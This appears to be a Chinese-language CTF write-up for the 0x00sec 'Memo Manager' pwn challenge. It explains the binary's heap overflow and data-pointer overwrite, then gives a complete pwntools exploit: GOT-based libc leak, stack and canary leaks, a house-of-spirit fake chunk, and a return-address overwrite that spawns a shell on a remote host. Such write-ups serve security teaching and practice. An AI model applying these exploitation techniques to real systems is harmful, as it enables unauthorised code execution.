0x00sec Memo Manager

保护措施

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

这样看来还是写mallo hook,free hook(结果有限制写不了的)

程序就4个功能,先看简单的两个

dump只是简单的输出,没有检测,输出为00截断,可以信息泄露

1
2
3
4
5
int __fastcall dump(__int64 a1)
{
return printf("Data: %s\n", a1);
}

del函数就是free,没有任何限制,只要绕过系统的检测就可以free

1
2
3
4
5
int __fastcall del(void *a1)
{
free(a1);
return puts("Done!");
}

alloc

我们输入data的时候可以二次输入,那么就可以堆溢出了,最后的那里相当于给了提示,不过暂时看来只能溢出top chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall alloc(__int64 a1)
{
char s1[8]; // [sp+10h] [bp-20h]@1
__int16 v3; // [sp+18h] [bp-18h]@1
__int64 v4; // [sp+28h] [bp-8h]@1

v4 = *MK_FP(__FS__, 40LL);
*(_QWORD *)s1 = 0LL;
v3 = 0;
fwrite("Data: ", 1uLL, 6uLL, stderr);
if ( read(0, (void *)a1, 0x30uLL) <= 0 )
{
puts("Read error!");
exit(1);
}
*(_QWORD *)(a1 + 24) = strdup((const char *)a1);
if ( !*(_QWORD *)(a1 + 24) )
{
puts("Malloc error!");
exit(1);
}
printf("Are you done? [yes/no] ", a1);
if ( read(0, s1, 6uLL) <= 0 )
{
printf("Read error!", s1);
exit(1);
}
if ( strcmp(s1, "yes") )
{
if ( strcmp(s1, "no") )
{
fwrite("Which part of [yes/no] did you not understand?", 1uLL, 0x2EuLL, stderr);
exit(0);
}
printf("Data: ", "no");
if ( read(0, *(void **)(a1 + 24), 0x30uLL) <= 0 )
{
puts("Read error!");
exit(1);
}
}
puts("Done!");
return *MK_FP(__FS__, 40LL) ^ v4;
}

最后说一个可以覆盖data指针的功能,就是give up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  if ( v3 != 4 )
{
LABEL_20:
fwrite("Can't you read mate?", 1uLL, 0x14uLL, stderr);
exit(1);
}
fwrite("Giving up already? [yes/no] ", 1uLL, 0x1CuLL, stderr);
if ( read(0, &buf, 0x30uLL) <= 0 )
{
puts("Read error!");
exit(1);
}
if ( !strcmp(&buf, "yes") )
break;
if ( strcmp(&buf, "no") )
{
fwrite("Which part of [yes/no] did you not understand?", 1uLL, 0x2EuLL, stderr);
exit(0);
}

那有了这个我们就可以任意读和任意free了

先泄露libc地址

1
2
3
4
5
6
7
# info leak ———— leak read
read_got = elf.got["read"]
create("A" * 8)
payload = "no\x00\x00" + "A" * 0x14 + p64(read_got)
giveup(payload)
read_addr = show()
libc_base = read_addr - libc.symbols["read"]

在泄露栈地址

1
2
3
4
5
6
7
8
9
10
11
# info leak ———— leak stack
create("C" * 0x20)
# show
# 利用strdup也是00截断,可以连栈上的数据也复制到堆中了
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
p.recvuntil("C" * 0x20)
recv = p.recvuntil("\n\n")[:-2]
leak_stack = u64(recv.ljust(8, "\x00"))
print "leak_stack = " + hex(leak_stack)

那么再泄露canary的值

1
2
3
4
5
6
7
8
9
canary_addr = buf_addr + 0x28 + 1
payload = "no\x00\x00" + "E" * 0x14 + p64(canary_addr)
giveup(payload)
# show
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
canary = u64(p.recv(7).ljust(8, "\x00"))
print "canary = " + hex(canary)

使用house of spirit技术,让buf+0x10的地址写到fastbin头指针

1
2
3
4
5
6
7
8
# house of spirit
# because strdup can't use 00
fake_free_addr = buf_addr + 0x10
fakechunk = "no" + "\x00" * 6 + p64(0x21)
fakechunk += p64(0) + p64(fake_free_addr)
fakechunk += p64(0) + p64(111)
giveup(fakechunk)
free()

覆盖返回地址并返回

1
2
3
4
# overwrite return address
overwrite = p64(0) * 3 + "\x00" + p64(canary)[:-1] + p64(0) + p64(one_gadget)
createAndOverWrite(overwrite)
giveupyes()

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-12-26 20:33:26
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :

from pwn import *
context.log_level = "debug"
REMOTE = 1
if REMOTE:
p = remote("159.203.116.12", 8888)
libc = ELF("./libc-2.23.so")
one_gadget_off = 0x45216
else:
p = process("./memo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget_off = 0x3f306

elf = ELF("./memo")

def create(data):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Data: ")
p.send(data)
p.recvuntil("Are you done? [yes/no] ")
p.send("yes")

def createAndOverWrite(payload):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Data: ")
p.send("A" * 8)
p.recvuntil("Are you done? [yes/no] ")
# raw_input()
p.send("no\x00")
p.recvuntil("Data: ")
p.send(payload)

def show():
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
recv = p.recvuntil("\n")[:-1]
return u64(recv.ljust(8, "\x00"))

def free():
p.recvuntil("> ")
p.sendline("3")

def giveup(payload):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Giving up already? [yes/no] ")
p.send(payload)

def giveupyes():
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Giving up already? [yes/no] ")
p.send("yes\x00")


def getpid():
print proc.pidof(p)[0]
raw_input()


# info leak ———— leak read
read_got = elf.got["read"]
create("A" * 8)
payload = "no\x00\x00" + "B" * 0x14 + p64(read_got)
giveup(payload)
read_addr = show()
print "read_addr = " + hex(read_addr)
libc_base = read_addr - libc.symbols["read"]
print "libc_base = " + hex(libc_base)
one_gadget = libc_base + one_gadget_off
print "one_gadget = " + hex(one_gadget)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]

# info leak ———— leak stack
create("C" * 0x20)
# show
# 利用strdup也是00截断,可以连栈上的数据也复制到堆中了
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
p.recvuntil("C" * 0x20)
recv = p.recvuntil("\n\n")[:-2]
leak_stack = u64(recv.ljust(8, "\x00"))
print "leak_stack = " + hex(leak_stack)

buf_off = 0x110
buf_addr = leak_stack - buf_off
print "buf_addr = " + hex(buf_addr)

# # 经过调试发现这里其实可以可以leak heap,假如堆地址没有0x00的话。但是后来发现,题目输入的大小并不能绕过fastbin atack的大小检查,要输入0x60大小才行
# create("D" * 8)
# p.recvuntil("> ")
# p.sendline("2")
# p.recvuntil("Data: ")
# p.recvuntil("C" * 0x10)
# recv = p.recvuntil("\n")[:-1]
# leak_heap = u64(recv.ljust(8, "\x00"))
# print "leak_heap = " + hex(leak_heap)

# then try to write return addr
# first leak canary(the high )
canary_addr = buf_addr + 0x28 + 1
payload = "no\x00\x00" + "E" * 0x14 + p64(canary_addr)
giveup(payload)
# show
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
canary = u64(p.recv(7).ljust(8, "\x00"))
print "canary = " + hex(canary)

# house of spirit
# because strdup can't use 00
fake_free_addr = buf_addr + 0x10
fakechunk = "no" + "\x00" * 6 + p64(0x21)
fakechunk += p64(0) + p64(fake_free_addr)
fakechunk += p64(0) + p64(111)
giveup(fakechunk)
free()

# overwrite return address
overwrite = p64(0) * 3 + "\x00" + p64(canary)[:-1] + p64(0) + p64(one_gadget)
createAndOverWrite(overwrite)


# getpid()
# get shell
giveupyes()

# giveupyes()
p.interactive()
打赏专区